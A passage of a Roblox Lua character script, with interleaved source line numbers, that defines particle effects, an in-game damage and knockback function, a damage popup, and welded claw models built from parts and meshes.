prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3302
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
3303
game:GetService("Debris"):AddItem(prt,2)
3304
coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) 
3305
CF=Part.CFrame
3306
Numbb=0
3307
randnumb=math.random()/10
3308
rand1=math.random()/10
3309
for i=0,1,rand1 do
3310
wait()
3311
CF=CF*cf(0,math.random()/2,0)
3312
--Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
3313
Part.CFrame=CF*euler(Numbb,0,0)
3314
Part.Transparency=i
3315
Numbb=Numbb+randnumb
3316
end
3317
Part.Parent=nil
3318
end),prt,CF,Numbb,randnumb)
3319
end
3320
 
3321
function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3322
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3323
prt.Anchored=true
3324
prt.CFrame=cframe
3325
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
3326
game:GetService("Debris"):AddItem(prt,5)
3327
coroutine.resume(coroutine.create(function(Part,Mesh) 
3328
for i=0,1,delay do
3329
wait()
3330
Part.CFrame=Part.CFrame*euler(0,0.7,0)
3331
Part.Transparency=i
3332
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3333
end
3334
Part.Parent=nil
3335
end),prt,msh)
3336
end
3337
 
3338
function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3339
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3340
prt.Anchored=true
3341
prt.CFrame=cframe
3342
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
3343
game:GetService("Debris"):AddItem(prt,2)
3344
coroutine.resume(coroutine.create(function(Part,Mesh) 
3345
for i=0,1,delay do
3346
wait()
3347
Part.CFrame=Part.CFrame*cf(0,y3/2,0)
3348
Part.Transparency=i
3349
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3350
end
3351
Part.Parent=nil
3352
end),prt,msh)
3353
end
3354
 
3355
function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
3356
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3357
prt.Anchored=true
3358
prt.CFrame=cframe*cf(x,y,z)
3359
msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
3360
game:GetService("Debris"):AddItem(prt,5)
3361
coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) 
3362
local num=math.random()
3363
local num2=math.random(-3,2)+math.random()
3364
local numm=0
3365
for i=0,1,delay*2 do
3366
swait()
3367
Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
3368
Part.Transparency=i
3369
numm=numm+0.01
3370
end
3371
Part.Parent=nil
3372
Mesh.Parent=nil
3373
end),prt,msh,x,y,z)
3374
end
3375
3376
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
3377
        if hit.Parent==nil then
3378
                return
3379
        end
3380
        h=hit.Parent:FindFirstChild("Humanoid")
3381
        for _,v in pairs(hit.Parent:children()) do
3382
        if v:IsA("Humanoid") then
3383
        h=v
3384
        end
3385
        end
3386
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
3387
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
3388
        end
3389
        if hit.Parent.className=="Hat" then
3390
        hit=hit.Parent.Parent:findFirstChild("Head")
3391
        end
3392
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
3393
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
3394
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
3395
                        return
3396
                end]]
3397
--                        hs(hit,1.2) 
3398
                        c=Instance.new("ObjectValue")
3399
                        c.Name="creator"
3400
                        c.Value=owner
3401
                        c.Parent=h
3402
                        game:GetService("Debris"):AddItem(c,.5)
3403
                Damage=math.random(minim,maxim)
3404
--                h:TakeDamage(Damage)
3405
                blocked=false
3406
                block=hit.Parent:findFirstChild("Block")
3407
                if block~=nil then
3408
                print(block.className)
3409
                if block.className=="NumberValue" then
3410
                if block.Value>0 then
3411
                blocked=true
3412
                if decreaseblock==nil then
3413
                block.Value=block.Value-1
3414
                end
3415
                end
3416
                end
3417
                if block.className=="IntValue" then
3418
                if block.Value>0 then
3419
                blocked=true
3420
                if decreaseblock~=nil then
3421
                block.Value=block.Value-1
3422
                end
3423
                end
3424
                end
3425
                end
3426
                if blocked==false then
3427
--                h:TakeDamage(Damage)
3428
                h.Health=h.Health-Damage
3429
                showDamage(hit.Parent,Damage,.5,TorsoColor)
3430
                else
3431
                h.Health=h.Health-(Damage/2)
3432
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
3433
                end
3434
                if Type=="Knockdown" then
3435
                hum=hit.Parent.Humanoid
3436
hum.PlatformStand=true
3437
coroutine.resume(coroutine.create(function(HHumanoid)
3438
swait(1)
3439
HHumanoid.PlatformStand=false
3440
end),hum)
3441
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
3442
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
3443
local bodvol=Instance.new("BodyVelocity")
3444
bodvol.velocity=angle*knockback
3445
bodvol.P=5000
3446
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
3447
bodvol.Parent=hit
3448
rl=Instance.new("BodyAngularVelocity")
3449
rl.P=3000
3450
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
3451
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
3452
rl.Parent=hit
3453
game:GetService("Debris"):AddItem(bodvol,.5)
3454
game:GetService("Debris"):AddItem(rl,.5)
3455
                elseif Type=="Normal" then
3456
                vp=Instance.new("BodyVelocity")
3457
                vp.P=500
3458
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
3459
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
3460
                if KnockbackType==1 then
3461
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
3462
                elseif KnockbackType==2 then
3463
                vp.velocity=Property.CFrame.lookVector*knockback
3464
                end
3465
                if knockback>0 then
3466
                        vp.Parent=hit.Parent.Torso
3467
                end
3468
                game:GetService("Debris"):AddItem(vp,.5)
3469
                elseif Type=="Up" then
3470
                local bodyVelocity=Instance.new("BodyVelocity")
3471
                bodyVelocity.velocity=vt(0,10,0)
3472
                bodyVelocity.P=1000
3473
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
3474
                bodyVelocity.Parent=hit
3475
                game:GetService("Debris"):AddItem(bodyVelocity,1)
3476
                rl=Instance.new("BodyAngularVelocity")
3477
                rl.P=3000
3478
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
3479
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
3480
                rl.Parent=hit
3481
                game:GetService("Debris"):AddItem(rl,.5)
3482
                elseif Type=="Snare" then
3483
                bp=Instance.new("BodyPosition")
3484
                bp.P=2000
3485
                bp.D=100
3486
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
3487
                bp.position=hit.Parent.Torso.Position
3488
                bp.Parent=hit.Parent.Torso
3489
                game:GetService("Debris"):AddItem(bp,1)
3490
                elseif Type=="Target" then
3491
                if Targetting==false then
3492
                ZTarget=hit.Parent.Torso
3493
                coroutine.resume(coroutine.create(function(Part) 
3494
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
3495
                swait(5)
3496
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
3497
                end),ZTarget)
3498
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
3499
                targetgui=Instance.new("BillboardGui")
3500
                targetgui.Parent=ZTarget
3501
                targetgui.Size=UDim2.new(10,100,10,100)
3502
                targ=Instance.new("ImageLabel")
3503
                targ.Parent=targetgui
3504
                targ.BackgroundTransparency=1
3505
                targ.Image="rbxassetid://4834067"
3506
                targ.Size=UDim2.new(1,0,1,0)
3507
                cam.CameraType="Scriptable"
3508
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
3509
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
3510
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
3511
                Targetting=true
3512
                RocketTarget=ZTarget
3513
                for i=1,Property do
3514
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
3515
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
3516
                swait()
3517
                end
3518
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
3519
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
3520
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
3521
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
3522
                end
3523
                Targetting=false
3524
                RocketTarget=nil
3525
                targetgui.Parent=nil
3526
                cam.CameraType="Custom"
3527
                end
3528
                end
3529
                        debounce=Instance.new("BoolValue")
3530
                        debounce.Name="DebounceHit"
3531
                        debounce.Parent=hit.Parent
3532
                        debounce.Value=true
3533
                        game:GetService("Debris"):AddItem(debounce,Delay)
3534
                        c=Instance.new("ObjectValue")
3535
                        c.Name="creator"
3536
                        c.Value=Player
3537
                        c.Parent=h
3538
                        game:GetService("Debris"):AddItem(c,.5)
3539
                CRIT=false
3540
                hitDeb=true
3541
                AttackPos=6
3542
        end
3543
end
3544
 
3545
showDamage=function(Char,Dealt,du,Color)
3546
        m=Instance.new("Model")
3547
        m.Name=tostring(Dealt)
3548
        h=Instance.new("Humanoid")
3549
        h.Health=0
3550
        h.MaxHealth=0
3551
        h.Parent=m
3552
        c=Instance.new("Part")
3553
        c.Transparency=0
3554
        c.BrickColor=TorsoColor
3555
        c.Name="Head"
3556
        c.TopSurface=0
3557
        c.BottomSurface=0
3558
        c.formFactor="Plate"
3559
        c.Size=Vector3.new(1,.4,1)
3560
        ms=Instance.new("CylinderMesh")
3561
        ms.Scale=Vector3.new(.8,.8,.8)
3562
        so("http://www.roblox.com/asset/?id=199149269",c,1,1) 
3563
        if CRIT==true then
3564
                ms.Scale=Vector3.new(1,1.25,1)
3565
        end
3566
        ms.Parent=c
3567
        c.Reflectance=0
3568
        Instance.new("BodyGyro").Parent=c
3569
        c.Parent=m
3570
        if Char:findFirstChild("Head")~=nil then
3571
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
3572
        elseif Char.Parent:findFirstChild("Head")~=nil then
3573
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
3574
        end
3575
        f=Instance.new("BodyPosition")
3576
        f.P=2000
3577
        f.D=100
3578
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
3579
        f.position=c.Position+Vector3.new(0,3,0)
3580
        f.Parent=c
3581
        game:GetService("Debris"):AddItem(m,.5+du)
3582
        c.CanCollide=false
3583
        m.Parent=workspace
3584
        c.CanCollide=false
3585
end
3586
3587
    Player=owner
3588
    Character=Player.Character
3589
  
3590
    m=Instance.new('Model',Character)
3591
3592
3593
    local function weldBetween(a, b)
3594
        local weldd = Instance.new("ManualWeld")
3595
        weldd.Part0 = a
3596
        weldd.Part1 = b
3597
        weldd.C0 = CFrame.new()
3598
        weldd.C1 = b.CFrame:inverse() * a.CFrame
3599
        weldd.Parent = a
3600
        return weldd
3601
    end
3602
    
3603
    it=Instance.new
3604
    
3605
    function nooutline(part)
3606
        part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
3607
    end
3608
    
3609
    function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
3610
        local fp=it("Part")
3611
        fp.formFactor=formfactor
3612
        fp.Parent=parent
3613
        fp.Reflectance=reflectance
3614
        fp.Transparency=transparency
3615
        fp.CanCollide=false
3616
        fp.Locked=true
3617
        fp.BrickColor=BrickColor.new(tostring(brickcolor))
3618
        fp.Name=name
3619
        fp.Size=size
3620
        fp.Position=Character.Torso.Position
3621
        nooutline(fp)
3622
        fp.Material=material
3623
        fp:BreakJoints()
3624
        return fp
3625
    end
3626
    
3627
    function mesh(Mesh,part,meshtype,meshid,offset,scale)
3628
        local mesh=it(Mesh)
3629
        mesh.Parent=part
3630
        if Mesh=="SpecialMesh" then
3631
            mesh.MeshType=meshtype
3632
            mesh.MeshId=meshid
3633
        end
3634
        mesh.Offset=offset
3635
        mesh.Scale=scale
3636
        return mesh
3637
    end
3638
    
3639
    function weld(parent,part0,part1,c0,c1)
3640
        local weld=it("Weld")
3641
        weld.Parent=parent
3642
        weld.Part0=part0
3643
        weld.Part1=part1
3644
        weld.C0=c0
3645
        weld.C1=c1
3646
        return weld
3647
    end
3648
3649
local modelzorz=Instance.new("Model") 
3650
modelzorz.Parent=Character 
3651
modelzorz.Name="Claw1"
3652
3653
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
3654
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
3655
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
3656
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3657
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
3658
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3659
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
3660
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3661
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3662
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
3663
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3664
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
3665
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3666
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
3667
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3668
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
3669
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3670
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
3671
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3672
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
3673
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3674
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
3675
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3676
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
3677
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3678
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
3679
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3680
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3681
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
3682
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3683
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
3684
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3685
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
3686
Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
3687
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
3688
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3689
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
3690
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3691
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3692
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
3693
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3694
3695
local modelzorz2=Instance.new("Model") 
3696
modelzorz2.Parent=Character 
3697
modelzorz2.Name="Claw2"
3698
3699
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
3700
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
3701
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
3702
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3703
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
3704
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3705
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
3706
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3707
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
3708
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3709
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
3710
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3711
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3712
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
3713
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3714
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3715
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
3716
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3717
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
3718
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3719
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3720
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
3721
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3722
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
3723
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3724
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3725
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
3726
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3727
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
3728
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
3729
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3730
